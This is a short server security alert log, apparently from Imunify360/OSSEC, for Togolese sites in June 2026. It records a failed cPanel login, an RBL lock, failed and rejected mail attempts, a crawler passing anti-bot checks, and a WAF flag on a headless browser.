description:
[2026-06-07 10:28:18 +0000] info [cpaneld] 196.179.7.81 - netmast "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.112.17.52
country_id: 1814991
description:
Jun  7 10:28:23 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.112.17.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.112.17.52
country_id: 1814991
description:
2026-06-07 10:28:25 dovecot_plain authenticator failed for H=(zs5cup8zb3rdyv7wp) [123.112.17.52]:37344: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [07/Jun/2026:10:29:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198941&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgerry-taama%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780828155 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/gerry-taama/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 171.22.212.202
country_id: 2017370
description:
2026-06-07 10:33:41 H=([171.22.212.202]) [171.22.212.202]:63205 F=<John@4452.com> rejected RCPT <emploi@emt.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 171.22.212.202
country_id: 2017370
description:
2026-06-07 10:35:21 H=([171.22.212.202]) [171.22.212.202]:52433 F=<John@4452.com> rejected RCPT <emploi@emt.tg>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 135.125.96.55
country_id: 3017382
domain: 24heureinfo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


